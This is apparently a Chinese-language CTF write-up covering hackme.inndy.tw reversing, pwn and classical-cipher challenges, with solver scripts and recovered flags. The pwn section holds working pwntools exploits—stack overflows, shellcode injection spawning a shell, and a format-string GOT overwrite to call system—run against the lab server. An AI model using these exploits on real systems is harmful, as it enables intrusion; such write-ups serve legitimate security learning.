最后看了大佬的题解,才醒悟原来可以直接修改相关判断条件,不需要读懂算法。
将代码的第16行修改为c = l,则可以直接满足17行的c==l的判断条件。
修改后的代码为
__import__('sys').setrecursionlimit(1048576)
data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI'
a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907
b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499
c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619
d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053
e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707
F = (a, b, c, d, e)
m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011
g = 67051725181167609293818569777421162357707866659797065037224862389521658445401
z = []
for i, f in enumerate(F):
n = pow(f, m, g)
this_is = 'Y-Combinator'
l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1 if x < 2 else f(x - 1) * x % n)(g % 27777)
c = l
if int(c) != l:
print 'Wrong~'
exit()
z.append(l)
z.sort()
gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM'
print ('').join(gg[(lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda n: 1 if n < 3 else f(n - 1) + f(n - 2))(i + 2)] for i in range(16)) % ('').join(data[pow((__import__('fractions').gcd(z[(i % 5)], z[((i + 1) % 5)]) * 2 + 1) * g, F[(i % 5)] * (i * 2 + 1), len(data))] for i in range(32))
但是在windows下运行还是
此题非预期?本网站的中等难度的逆向题大概能有四五十个成功解答的,但是此题有将近一百个拿到flag的。不应该啊?
后来在kail下直接运行成功(我怀疑是递归那里出的问题)
此题的心得:
1、不一定非要理解算法,可以特殊途径绕过算法。
2、程序运行出错可以考虑换平台,不要拘束。
045 accumulator
题目名称的意思是累加器,让你不好好学英语。。。
主函数:
输入字符串
加密代码
先对sha后的字符串加密,再对原字符串加密
sub_4008C0
根据实际含义我修改了变量名。
关键代码就是28行,累加。29行判断累计后的值和数据库中的值是否一致。
使用IDC脚本提取数据库数据。https://blog.csdn.net/qq_35078631/article/details/79849977
shift+f2(或file->script command)
static main()
{
auto i,fp;
fp = fopen("d:\\dump","wb");
auto start = 0x601080;
auto size = 0x601398 - 0x601080;
for(i=start;i<start+size;i++)
{
fputc(Byte(i),fp);
}
fp.close();
}
点击run。相关数据写入d:dump文件中。
python解密脚本
import binascii
with open('dump','rb')as f:
data = f.read()
num = []
for i in range(len(data)//4):
d = data[4*i : 4*i+4][::-1] #b'\x00\x00C\xdf'
d = str(binascii.hexlify(d))[2:-1] #000043df
d = int(d,16) #17375
num.append(d)
for i,n in enumerate(num):
if i<len(num)-1:
a = num[i]
b = num[i+1]
print(chr(b-a),end='')
输出为
后半段为flag
046 GCCC
这是c#写的.net程序。
NET是个平台,理论上,各种语言都可以编译成它的IL,在上面运行。.NET开发,就是把它当作目标平台的开发。(除非你在极少数的公司,那是真正做.NET开发的。做的是开发.NET这个平台本身。)然而实际上,.NET上还分了阶级。C#是全能的亲儿子,ASP/VB/F#是能力较弱的亲儿子,其他语言那是干儿子或者过继的。所以,实际中,你可以认为就是在搞C#了。
使用ILSpy逆向
关键代码
num是输入的数字,正确则进行解密并输出flag。解密时需要用到num,所以无法绕过,必须求出num。
程序对num进行了32轮验证,每次num右移1位。
最后num为0。
num需要满足以下条件:
范围在[2^31, 2^32)
。
以FLAG{
开头,
以}
结尾,
中间字符 in "ABCDEFGHIJKLMNOPQRSTUVWXYZ{} "
可以用z3约束性求解。
我写的python3:
from z3 import *
array = [164,25,4,130,126,158,91,199,173,252,239,143,150,251,126,39,104,104,146,208,249,9,219,208,101,182,62,92,6,27,5,46]
b = 0
num = BitVec('num', 64)
solver = Solver()
solver.add(num >= 2**31) #.add()添加约束性条件
solver.add(num < 2**32)
for num2 in range(32):
if num2 < 5:
solver.add((array[num2] ^ num ^ b) & 0x7f == ord('FLAG{'[num2]))
elif num2 == 31:
solver.add((array[num2] ^ num ^ b) & 0x7f == ord('}'))
else:
solver.add(
Or(
And(
((array[num2] ^ num ^ b) & 0x7f >= ord('A')),
((array[num2] ^ num ^ b) & 0x7f <= ord('Z'))
),
((array[num2] ^ num ^ b) & 0x7f == ord(' '))
)
)
b ^= array[num2]
num >>= 1
if solver.check() == sat: #ok为sat,否则为unsat,不是字符串
print(solver.model()) #结果
针对脚本的注释:
1、 Int类型函数无法顺利表示过大的数,使用x = BitVec('x',64)
可以声明在64bit之内的变量。第一个参数是变量名(字符串),第二个参数不一定非是64
2、注意Or和And。条件之间要有逗号,最后一个条件后没有逗号
3、坑死我的游标卡尺:第26、27行一开始被我搞在了else的域内。
4、&0x7f的原因:原代码char c = (char)(array[num2] ^ (byte)num ^ b);
有(char)
,强制转换为char类型,char的范围是0~127,而&0x7f可以将符号位归零。
之前参考的大佬的题解中solver.add((array[num2] ^ (num & 0x7f) ^ b) & 0x7f == ord('FLAG{'[num2]))
,对byte类型的num也&0x7f
,还解释称:java中的byte函数要用&0x7f
来处理。
两个错误:一不是java,二byte类型-128~127,不需要&0x7f
。虽然他的代码也能跑出结果。
这位大佬的题解http://myhackerworld.top/2018/10/24/hackme-inndy-tw-Reversing-wp/
运行脚本,输出[num = 3658134498]
则在gccc.exe中输入3658134498,拿到flag。
要在cmd下运行程序哦,否则程序输出flag后一闪而过,根本来不及看到flag。
047 ccc
主函数
加密函数verify
关键代码是第13行,分别对flag的前三位,前六位,前九位...进行crc32加密(我之前错误地理解成了对前三位,四至六位,七至九位crc32加密)。
加密后地数据存在hashes处
提取hashes处数据,winhex保存成文件。
写的解密脚本:
import binascii
def decode(dword, flag):
print(dword,end=' ')
import string
char = string.printable #所有可打印字符
for i in char:
for j in char:
for k in char:
s = flag + i + j + k
crc32 = hex(binascii.crc32(s.encode()))[2:] #去掉0x开头
crc32 = crc32 if len(crc32)==8 else '0'+crc32
if crc32 == dword:
print(s)
return s
with open('11.txt','rb')as f:
data = f.read()
flag = ''
for i in range(len(data)//4):
d = data[4*i : 4*i+4][::-1] #原来是小端,反转显示大端
d = str(binascii.hexlify(d))[2:-1] #去除b''
flag = decode(d, flag)
写这个脚本有好几个坑:
1、crc32加密:binascii.crc32()
在python2中,binascii.crc32(v) & 0xffffffff
& 0xffffffff
可以由符号数得到无符号数
在python3中,binascii.crc32(s.encode())
字符串要encode()
,由str型得到字节(bytes)型,否则出现报错TypeError: a bytes-like object is required, not ‘str‘
2、python3返回二进制数据 data 的十六进制表示形式:binascii.hexlify(d)
前:b'\xd6AYo'
后:b‘d641596f’
python2只需要在后面.encode('hex')
即可
3、hex(binascii.crc32(s.encode()))
的结果,不算0x的前缀,如果第一位应该是0,结果会只有七位,需要手动添上0。坑死我了
4、关于数据读入,特别是大头小头的,可以学习一下python的struct
https://codeday.me/bug/20181225/466201.html
https://segmentfault.com/a/1190000016851956
https://www.docs4dev.com/docs/zh/python/3.7.2rc1/all/library-struct.html
运行截图
过几天仔细学一下编码吧,读一读《深入理解计算机系统》。python2和3的编码异同也要了解一下,不然很多函数的参数的类型总是搞不对。
048 bitx
命令行运行,参数为flag。将flag地址转换为int传入verify
verify代码:
signed int __cdecl verify(int input_address)
{
int i; // [esp+Ch] [ebp-4h]
for ( i = 0; *(_BYTE *)(i + input_address) && *(_BYTE *)(i + 0x804A040); ++i )
{
if ( *(_BYTE *)(i + input_address) + 9 != ((unsigned __int8)((*(_BYTE *)(i + 0x804A040) & 0xAA) >> 1) | (unsigned __int8)(2 * (*(_BYTE *)(i + 0x804A040) & 0x55))) )// |是bit的或,不是条件或。。。
return 0;
}
return 1;
}
关键第7行,进行位变换。
我一开始把|当成了||,卡了很久。
提取0x804A040处的数据用winhex保存在文件中后,运行python脚本
with open('11.txt','rb')as f:
data = f.read()
for byte in data:
#print(byte,end=' ')
s = (((byte & 0xAA) >> 1) | (2 * (byte & 0x55))) -9
print(chr(s),end='')
FLAG{Swap tw6bits is easy 0xaa wit60x55}
但是提交时不正确,明天再看看。
重新把数据通过winhex搞成文件后再运行,拿到FLAG{Swap two bits is easy 0xaa with 0x55}
,估计是之前那次winhex数据搞错了。但是,输入错误的flag,为什么也是Good?搞不明白。难受。过两天需要学一下idaPython了。
050 what-the-hell
分析
输入两个key,求出第三个key,然后解密输出flag.
key1,key2可以通过下面代码的数据求出来。
what函数是斐波那契数列(Fibonacci sequence)。
斐波那契数列(Fibonacci sequence),又称黄金分割数列、因数学家列昂纳多·斐波那契(Leonardoda Fibonacci)以兔子繁殖为例子而引入,故又称为“兔子数列”,指的是这样一个数列:1、1、2、3、5、8、13、21、34
假定斐波那契数列中数值为key1的项是第i项,则key3 = key2 * i + 1
。
所以,其实本程序本身就是可以输出flag的。
但是what这个求斐波那契数列的函数,是递归实现的,速度极其缓慢。
不过,出题人还给我们留了一个迭代实现的求斐波那契数列的函数fast_what
,速度就快多了。
所以解题思路是通过z3求出key1和key2,然后通过ida把calc_key3
中的call what
patch成call fast_what
z3求key1,key2
不过z3求key有个大坑,求出的解有两组,但是正常写法z3只给出一组,参考了M4x师傅-0x09 what-the-hell的代码,学到了z3多解输出的新知识。
from z3 import *
def isPrime(n):
if n <= 1:
return False
if n == 2:
return True
if n % 2 == 0:
return False
i = 3
while i * i <= n:
if n % i == 0:
return False
i += 2
return True
a = BitVec('a', 32)
b = BitVec('b', 32)
s = Solver()
s.add(a * b == 0xDDC34132)
s.add((a ^ 0x7E) * (b + 16) == 0x732092BE )
s.add(((a - b) & 0xFFF) == 3295)
while s.check() == sat:
if isPrime(s.model()[a].as_long()):
print(s.model())
s.add(Or(a != s.model()[a], b != s.model()[b]))
else:
print('unset')
#输出:
#[b = 1234567890, a = 2136772529]
#[b = 1234567890, a = 4284256177]
#unset
我最初只拿到第一组解,运行下一步patch后的程序,输入这组key,程序一直没有输出flag,按说应该很快就拿到flag。这是因为程序一直没有满足斐波那契数列的第i项与key1相等,所以一直在循环中。
IDA patch 程序
来到函数calc_key3
中调用函数what
的地方:
最后还要将改动写入文件。
运行
将文件拷贝到linux机器中并运行。
秒出flag.
051 unpackme
upxshell脱壳失败,观察十六进制数据,发现壳的某些关键信息被改掉了。
找一个正常upx加壳的程序做对比:
使用010 editor
,修改如下信息:
!The flag is not FLAG{Hello,DOS section} -> !This program cannot be run in DOS mode.
CTF0 -> UPX0
CTF1 -> UPX1
CTF2 -> UPX2
CTF? -> UPX!
然后脱壳:
脱壳后无法正常运行,但是可以通过ida查看源代码。
第60行求得flag(Text),且byte_410A80
和pbData
的值均已知,所以只需要爆破v11即可。
byte_410A80 = [0x1a,0x8b,0x24,0x28,0x58,0x37,0xac,0x52,0x53,0xb5,0x1e,0x3e,0x4a,0x25,0x4a,0x27,0x6b,0xb2,0x17,0x1,0x3,0x0b,0xf4,0x14,0,0xf1,0x61,0x70,0x0c,0x55,0x20,0x7a]
print(len(byte_410A80))
pbData = [0x34,0xaf,0x0d,0x7,0x4b,0x17,0xf4,0x4d,0x1b,0xb9,0x39,0x76,0x5b,0x2,0x77,0x6f]
for i in range(32, 128):
flag = []
for j in range(len(byte_410A80)):
flag.append((i ^ byte_410A80[j] ^ pbData[j & 0xf]) & 0x7f)
print(i, ''.join(list(map(chr,flag))))
参考:
PWN
057 catflag
题目描述:
nc hackme.inndy.tw 7709
ry using nc connect to server!
yum install nc
nc hackme.inndy.tw 7709
cat flag
058 homework
从arr数组入手,修改返回地址。
from pwn import *
p = remote('hackme.inndy.tw', 7701)
context.log_level = 'debug'
p.sendlineafter("What's your name? ", 'yzy')
p.sendline('1')
p.sendlineafter('Index to edit: ', str(int(0x34+4)//4))
p.sendlineafter('How many? ', str(int('0x80485FB', 16)))
p.sendlineafter('0 > exit', '0')
p.interactive()
061 toooomuch
ROP
from pwn import *
p = remote('hackme.inndy.tw', 7702)
payload = 'a'*(0x18+4) + p32(0x804863B)
p.sendlineafter('Give me your passcode: ', payload)
p.interactive()
062 toooomuch-2
return到gets函数,将shellcode写入bss段(passcode),然后gets函数返回到bss段(passcode)处,并执行shellcode。
from pwn import *
get = 0x8048480
bss = 0x8049C60
payload = 'a'*(0x18+4) + p32(get) + p32(bss) + p32(bss)
p = remote('hackme.inndy.tw', 7702)
p.recvuntil('Give me your passcode:')
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()
没啥好说的,第一个p32(bss)是gets函数的参数,第二个是gets的返回地址ret。(有大佬说第一个是返回地址,第二个是参数,此处存疑。TODO)
今天在杭州的宾馆里,不知道为啥这里的网络能上hackme的网站,但是nc连接不上。所以在阿里云的centos7上nc的.
[root@izwdpnodbapihwz pwn]# vim toooomach.py
[root@izwdpnodbapihwz pwn]# python t*
[+] Opening connection to hackme.inndy.tw on port 7702: Done
[*] Switching to interactive mode
You are not allowed here!
$ ls
fake_flag
flag
run.sh
toooomuch
$ cat fake_flag
FLAG{B1N@RY S3@RCH 15 F@5T T0 TH3 GU355 NUM133R G@M3...Vx1uck7CvuaCEew7}
$ cat flag
FLAG{Buffer overflow is pretty easy, right?...MbIfR7p9sbKbwPSp}
063 echo
经典的格式化字符串漏洞。和之前做的不同的是,这个题和GOT,PLT结合。
GOT(Global Offset Table),全局偏移表,用于记录在 ELF 文件中所用到的共享库中符号的绝对(真实)地址,是存放函数地址的数据表。
PLT(Procedure Linkage Table),过程链接表,作用是将位置无关的符号转移到绝对地址。
当一个外部符号被调用时,PLT 去引用 GOT 中的其符号对应的绝对地址,然后转入并执行
本题没有开始地址随机化,所以思路是获取system和printf静态地址通过格式化字符串漏洞(fgets),将printf在GOT中的值(printf函数的真实地址),覆写为system函数在PLT表中的地址,所以调用printf时,其实调用的是system。
首先我们要获取当时输入地址在栈内的偏移:
[root@izwdpnodbapihwz pwn]# nc hackme.inndy.tw 7711
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x100.0xf7f275a0.(nil).0xf7f59000.0x80482e7.0xf63d4e2e.0x41414141.0x2e70252e.0x252e7025
很容易发现0x41414141(即AAAA)在栈内的偏移是7。
当然下面脚本也可以自动检测偏移
from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
p = remote('hackme.inndy.tw', 7711)
#p = process("a.out")
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
#经过一系列的尝试,脚本最终输出为7,见下图
from pwn import *
p = remote('hackme.inndy.tw',7711)
elf = ELF('./echo')
printf_got_addr = elf.got['printf']
system_plt_addr = elf.plt['system']
payload = fmtstr_payload(7, {printf_got_addr: system_plt_addr})
p.sendline(payload)
p.interactive()
fmtstr_payload是专门为32位程序格式化字符串漏洞输出payload的一个函数,第一个参数是一个偏移量(就是上面我们搞得那个),第二个参数是一个字典,往key的地址,写入value的值。
我们来分析下向服务器发送的数据:
先说明,我们可以获取0x0804a010是printf的got地址,0x08048400是system的plt地址。
首先是四个地址,0x0804a010~0x0804a013。
然后%240c%7$hhn ,向栈内偏移为7处的地址处(即0x0804a010,printf的首地址),写入(240+16) & 0xff = 0x00
之后的写入的依次是:
(132 + 0x00) & 0xff = 0x84,
(128 + 0x84) & 0xff = 0x04,
(4 + 0x04) & 0xff = 0x08
合起来就是system的地址,0x08048400
为了理解思想,这里摘录一个大佬的脚本,来源就是上面的链接。
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')
plt_sys = elf.symbols['system']
got_printf = elf.got['printf']
print hex(plt_sys) #0x8048400
print hex(got_printf) #0x804a010
payload = p32(got_printf)
payload += p32(got_printf + 1)
payload += p32(got_printf + 2)
payload += p32(got_printf + 3)
payload += '%'
payload += str(0x100 - 0x10)
payload += 'c%7$hhn'
payload += '%'
payload += str(0x84)
payload += 'c%8$hhn'
payload += '%'
payload += str(0x104 - 0x84)
payload += 'c%9$hhn'
payload += '%'
payload += str(0x108 - 0x104)
payload += 'c%10$hhn'
# print payload
# payload2 = fmtstr_payload(7,{got_printf:plt_sys})
# print payload2
target.sendline(payload)
target.recvuntil('\n')
target.sendline('/bin/sh\x00')
target.interactive()
%n 一次性写入 4 个字节
%hn 一次性写入 2 个字节
%hhn 一次性写入 1 个字节
%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里。
from 格式化字符串任意地址写操作学习小计
关于格式化字符串,另可参考Linux系统下格式化字符串利用研究
097 fast
- 规定时间内计算一万个表达式,正确则cat flag(开始时我走入误区,以为表达式个数随机,没想到10000就写在给出的程序中)
- 网速太慢,可能还没接受完数据就已经超时,可以挂梯子或直接海外服务器上跑脚本。我在杭州一宾馆网络超时,阿里云轻量有时超时有时正常,原来想直接上海外服务器的,可惜环境还没还来得及配好)
- 表达式形如
-38020440 * -70015297 = ?
(有些第二个数是负数,却没有括号括起来,所以并不能用eval直接计算) - 运算要遵循 C 语言下32位有符号整数的运算规则(注意除法的运算;结果是int32)(numpy的int32可将结果转换成c语言的int32)
import re
from numpy import int32
from pwn import *
def _eval(a, op, b):
if op == '+':
return int32(int(a) + int(b))
elif op == '-':
return int32(int(a) - int(b))
elif op == '*':
return int32(int(a) * int(b))
elif op == '/':
return int32(float(int(a)) / int(b))
#context.log_level = 'debug'
p = remote('hackme.inndy.tw', 7707)
p.recvuntil("Send 'Yes I know' to start the game.")
p.sendline('Yes I know')
datas = ''
while datas.count('\n') < 10000:
datas += p.recv()
formulas = datas.split('\n')
answer = []
for formula in formulas:
if formula != '':
params = formula.split(' ')
a, op , b = params[0], params[1], params[2]
answer.append(_eval(a,op,b))
answer = '\n'.join(list(map(str,answer)))
p.send(answer)
p.interactive()
参考了两个大佬的代码,他们的脚本具有学习的价值,所以也在这里记录一下。
#from http://m4x.fun/post/hackme.inndy-writeup/
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from numpy import int32
import time
import re
# context.log_level = 'debug'
# io = process("./fast")
io = remote("hackme.inndy.tw", 7707)
io.sendlineafter("the game.\n", "Yes I know")
ans = ""
res = ""
f = lambda x: int32(int(x))
for i in xrange(10000):
n1, op, n2 = io.recvuntil("=", drop = True).strip().split(' ')
# print n1, op, n2
io.recvline()
if op == '+':
# print n1, op, n2
ans = str(f(n1) + f(n2))
if op == '-':
ans = str(f(n1) - f(n2))
if op == '*':
ans = str(f(n1) * f(n2))
if op == '/':
ans = str(int(float(n1) / int(n2)))
res += (ans + " ")
# print res
io.sendline(res)
io.interactive()
io.close()
知识点:
- lambda将
int32(int(x))
封装,简洁 recvuntil("=", drop = True).strip().split(' ')
,接收到等号,且丢弃等号(drop=false时,接受到等号且不丢弃等号)- 计算除法:
ans = str(int(float(n1) / int(n2)))
#from https://www.aloxaf.com/2018/07/hackme_inndy/#fast
%%cython
import cython
from pwn import *
@cython.cdivision(True)
def _eval(int a, op, int b):
if op == b'+':
return a + b
elif op == b'-':
return a - b
elif op == b'*':
return a * b
elif op == b'/':
return a / b
io = remote('hackme.inndy.tw', 7707)
io.recvuntil('start the game.\n')
io.sendline('Yes I know')
exps = b''
while exps.count(b'\n') != 10000:
exps += io.recv()
exps = exps.strip().split(b'\n')
ans = ''
for i in range(len(exps)):
exp = exps[i].split()
a, b = int(exp[0]), int(exp[2])
op = exp[1]
ans += f'{_eval(a, op, b)}\n'
io.send(ans)
io.interactive()
io.close()
知识点:
- cython(TODO)
while exps.count(b'\n') != 10000:
根据count('n')的数量来判断是否达到10000
密码学
081 easy
526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d
base16后base64
082 r u kidding
EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}
凯撒密码
s = '''EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}'''
for i in s:
if 'A' <= i <= 'Z':
n = (ord(i)-65+1)%26+65
elif 'a' <= i <= 'z':
n = (ord(i)-97+1)%26+97
else:
n = ord(i)
print(chr(n),end='')
083 not hard
Nm@rmLsBy{Nm5u-K{iZKPgPMzS2IlPc%_SMOjQ#O;uV{MM?PPFhk|Hd;hVPFhq{HaAH<
Tips: pydoc3 base64
base85后base32
顺便说一下cyberchef.htm中base85如何解码
搜索框中输入85,双击from base85,选择ipv6
在input中输入密文,自动转换出明文
084 classic cipher 1
MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}
Solve this substitution cipher
换位加密
https://quipqiup.com/> 在线词频统计整理网站。也可以用WinDecrypto
强力推销!!!
第0条去掉中间的空格,提交
085 classic cipher 2
V KGIFEI WCTPK MJ C SNMEF FF TYQDJLJ CIJNYPG YNQ CCMMBGNL WRGCNMJ AVXY TCZBLWRP CUFIUV LGWSQ KSNTI EFMIG MIY ERE OWJCXLTGBNPOVR WRYEM VHVCKC NOH DCAEU THQNJI MJ CW GTYDVTTMFIDLR IRGZVZKH GESPGAXKI YKSGPVA KHG CEOBBX TVUUXVQL IF GPLWZSLER AVDMQHYGIU XQ ZTZXRWRNUIWI CCOWDS AFIHYHM NP GTNLTYF QEMBZRCXO ENS BTVVCBTK VVUTNVVCETU SR PFVNTS QHH GJC UAIECV ALAMXS EKMLORV ARW NQKPRX KN FBR FZEIY FXU FJ NEI UPFQ UOEKTLY QF TBCUCXV ENIEI YI CDDPHVF TUF VGJTTSGWJMSJ SV JVBJGBVTTMF PAS WTUIROMX VBWR VGKDBRKGD GIEV YET PEWICW ZRLYRGGB TUE OGKP OHXG A HYPZZL BJ AYNG GBWY FECMIVVD VRI NJRHYIDM WHRNLVED ASZVIGB MCNZ LU AVXY AJII OI YCD NEHKEG VRI GSYRRXYW JYCGR BF EFW BSBEXSKNZ BUWFMEK DG IOI TJES B RWDBGB SI DYWUMDCW FVYFS HLTW ASIW MHCD OPKC VRMIPBTK XYG DVTL LLLKK GKJJI JEYX XUCR SUE SYV MSTXG A EKZAGV FECEF II JEIFIAJW TVSVKYUBLY NLUH WUG UAF A NFATV IG MHG C DV TIJWGERMG JSCWMAJWV 